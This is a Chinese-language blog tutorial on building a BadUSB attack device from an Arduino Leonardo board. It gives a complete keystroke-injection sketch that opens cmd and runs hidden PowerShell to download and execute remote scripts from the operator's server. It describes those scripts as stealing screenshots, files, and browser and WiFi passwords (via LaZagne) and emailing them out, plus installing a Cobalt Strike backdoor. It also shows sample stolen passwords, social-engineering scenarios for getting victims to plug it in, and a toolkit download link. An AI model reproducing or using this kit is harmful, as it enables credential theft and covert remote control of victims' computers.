插一個U盤黑一臺電腦-Badusb最詳細製作教程
0x00前言
有技術交流或滲透測試培訓需求的朋友歡迎聯絡QQ/VX-547006660,需要程式碼審計、滲透測試、紅藍對抗網路安全相關業務可以看置頂博文
2000人網路安全交流群,歡迎大佬們來玩
群號820783253
0x01-簡介
1.概述
在2014年美國黑帽大會上,安全研究人員JakobLell和獨立安全研究人員Karsten Nohl展示了他們稱為“BadUSB”的攻擊方法,這種攻擊方法讓USB安全和幾乎所有和USB相關的裝置(包括具有USB埠的電腦)都陷入相當危險的狀態。
2.Badusb內部結構
從這張圖便可以瞭解到--Badusb和普通的U盤並沒有什麼兩樣,因此迷惑性極高,很容易攻擊成功
3.Badusb Hid攻擊原理
HID是Human Interface Device的縮寫,由其名稱可以瞭解HID裝置是直接與人互動的裝置,。一般來講針對HID的攻擊主要集中在鍵盤滑鼠上,因為只要控制了使用者鍵盤,基本上就等於控制了使用者的電腦。攻擊者會把攻擊隱藏在一個正常的滑鼠鍵盤中,當用戶將含有攻擊向量的滑鼠或鍵盤,插入電腦時,惡意程式碼會被載入並執行。簡而言之,今天要介紹的Badusb利用的是虛擬鍵盤來實現惡意程式碼的執行。
4.Badusb攻擊優勢
攻擊者將惡意程式碼存放於Badusb的韌體中,PC上的防毒軟體無法訪問到U盤存放韌體的區域,因此也就意味著防毒軟體無法應對BadUSB的攻擊。
5.Teensy
攻擊者在定製攻擊裝置時,會向USB裝置中置入一個攻擊晶片,此攻擊晶片是一個非常小而且功能完整的微控制器開發系統,它的名字叫TEENSY。通過TEENSY你可以模擬出一個鍵盤和滑鼠,當你插入這個定製的USB裝置時,電腦會識別為一個鍵盤,利用裝置中的微處理器與儲存空間和程式設計進去的攻擊程式碼,就可以向主機發送控制命令,從而完全控制主機,無論自動播放是否開啟,都可以成功。
6.Arduino
Arduino是一款便捷靈活、方便上手的開源電子原型平臺。其開發環境,主要包含兩個主要的部分:硬體部分是可以用來做電路連線的Arduino電路板;另外一個則是Arduino IDE,你的計算機中的程式開發環境。你只要在IDE中編寫程式程式碼,將程式上傳到Arduino電路板後,程式便會告訴Arduino電路板要做些什麼了。
7.攻擊流程
Bad-Usb插入後,會模擬鍵盤對電腦進行操作,通過這些操作開啟電腦的命令終端,並執行一條命令,這條命令將從指定網址下載惡意程式碼(通常為powershell指令碼)並於後臺靜默執行。這些程式碼功能包括:竊取資訊、反彈shell、傳送郵件等,從而實現控制目標機或者竊取資訊的目的。
0x02-準備工作
1.硬體
我在這邊選擇的是BS Micro pro micro leonardo Arduino 開發板,結構是一個USB主控加一塊到兩塊的儲存顆粒。從原理來看。USB主控就是一個帶原生usb介面的微控制器。
雖然它的體積小,但它擁有豐富介面,使其不僅有傳統控制器的功能,還有在電腦上實現滑鼠、鍵盤的功能,串列埠功能,並且無需驅動,能直接實現與電腦的通訊。
它與其他大多數的MCU控制板一個很大的區別是程式設計不需要額外使用程式設計器,直接用USB就可以程式設計。這樣不僅方便、穩定、可靠,還省下了一個程式設計器的錢。
淘寶連結(如果不會編寫指令碼,請購買和作者一樣的開發版,不要貪便宜):
https://item.taobao.com/item.htm?spm=a1z09.2.0.0.3d1f2e8dNaX0hO&id=589099911512&_u=m2i3k6cqf473
2.開發環境安裝
Arduino IDE
kali下已整合,windows下載連結:
http://downloads.arduino.cc/arduino-1.6.4-windows.zip
下載為zip檔案,無需安裝,直接解壓就能用。
注意:不要下載高於1.6.4的版本,否則裝置驅動無法正常安裝!(我被這個坑樂好一段時間)
3.驅動準備
為了可以正常使用ardunio對開發版進行程式設計,需安裝Teensyduino驅動
下載連結http://www.pjrc.com/teensy/td_123/teensyduino.exe
一路Next下來,本處選擇剛剛解壓的ardunio1.64路徑才可以正常安裝
選擇all進行安裝
4.開啟smtp服務
為確保我們的指令碼能夠完美地傳送包含目標主機資訊的郵件,我們需要開啟smtp郵箱服務。本處我使用的是QQ郵箱,開啟方法如下:
進入郵箱,點選設定-賬戶
向下拉即可看到
將頭兩個服務開啟,此過程需要驗證密保~
即可獲得“授權碼”(即後文提到的郵箱密碼)此處的郵箱密碼並不是指QQ密碼
5.伺服器端準備
①首先下載Badusb所需程式碼,程式碼已打包,見文末
②修改壓縮包中的main.ps1的2754行,把打碼的地方改為自己的伺服器IP
③修改main.ps1的2903-2919行 為傳送郵件配置
④修改GetPass.ps1中的前兩行,域名,Getpass.rar實際上是lazagne,用rar下載儘量避免出發安全軟體,這個不放心可以百度下載。command.rar實為bat 因為 lazagne注入lsass時會被安全軟體攔截,所以用bat避免注入。修改GetPass.ps1中的郵箱配置,同main.ps1中的就行
⑤將修改後的全部檔案用HFS(一個簡單的提供http下載軟體)上傳到公網伺服器
HFS連結:http://www.ouyaoxiazai.com/soft/stgj/133/21762.html
兄弟們如果沒有伺服器,可以去買便宜的學生機,或者私聊我。
0x03-Badusb製作
2.開啟Arduino IDE
3.工具->版->選擇“Arduino Leonardo”
4.輸入Windows +R 輸入命令devmgmt.msc開啟裝置管理器
檢視串列埠資訊
5.根據之前的串列埠資訊,開啟ardunio ide選擇--工具->埠->選擇“COM* (Arduino Leonardo)”
6.現在可以看到IDE右下角出現“Arduino Leonardo on COM*”
6.下面進行將程式碼寫入硬體的操作
①複製如下程式碼到ardunio中
void setup(){//初始化
Keyboard.begin();//開始鍵盤通訊
delay(5000);//延時
Keyboard.press(KEY_LEFT_GUI);//win鍵
delay(500);
Keyboard.press('r');//r鍵
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用開大寫輸小寫繞過輸入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/main.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//結束鍵盤通訊
Keyboard.begin();//開始鍵盤通訊
delay(5000);//延時
Keyboard.press(KEY_LEFT_GUI);//win鍵
delay(500);
Keyboard.press('r');//r鍵
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/payload.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//結束鍵盤通訊
}
void loop() {}
請各位將8.8.8.8改成自己的伺服器ip~
註釋寫的應該都很明白了,小夥伴們可以根據自己的需求修改
PS:我這邊選擇執行兩個payload,第一個是我之前教大家修改上傳的main.ps1,這個指令碼實現的是“截圖、使用者憑據匯出,檔案竊取,計算機中瀏覽器/WIFI等密碼的讀取”並將其通過郵箱傳送到我們手中。
第二個Payload是我在cobaltstrike裡面生成的powershell後門,主要為了實現控制持久化,並進行更高層級的滲透。如果小夥伴們不知道cobaltstrike是什麼,簡而言之-這是一款強大的團隊協作APT神器,日後我會寫一個系列教程專門介紹他。
程式碼大體的意思是:
插入BADusb後等待五秒,
切換大寫繞開輸入法
按下Windows+R開啟cmd
模擬輸入一個字串,並回車執行
0x004測試
將Badusb插入電腦,短暫幾秒延時後,發現打開了cmd視窗,輸入了我們下載執行powershell的命令,並回車執行
過了幾分鐘,會來兩封郵件
這裡面便是我們心心念唸的Badusb執行結果
Report.zip內容如圖
Getpass txt內容如下
|==========================
|
| The LaZagne Project
|
|
|==========================
########## User: Administrator ##########
------------------- Chrome passwords -----------------
Password found !!!
URL: http://127.0.0.1/login
Login: admin
Password: xunfeng321
Password found !!!
URL: http://10.97.3.177:8080/cgi-bin/login.html
Login: admin
Password: admin
..........內容太多,省略了
0x005攻擊場景
①社工攻擊
小姐姐,我的U盤插我的電腦顯示不出來,你能幫我看看你的電腦可以嗎?
②帶有USB介面的終端機
找到USB介面懟進去,插誰誰懷孕
其他應用場景自行腦補,歡迎評論分享
0x06總結
今天介紹了硬體裝置Badusb的製作及使用,大家可以修改伺服器端的powershell程式碼來實現更多的功能,歡迎評論分享自己的思路
本篇文章耗時7小時,也算是自己寫過比較長的啦,希望老鐵們多多關注。
0x006 Badusb程式碼下載[/md]
連結:https://pan.baidu.com/s/1ODHBZXUlyRxwk75Q6yuIXg
提取碼:zisl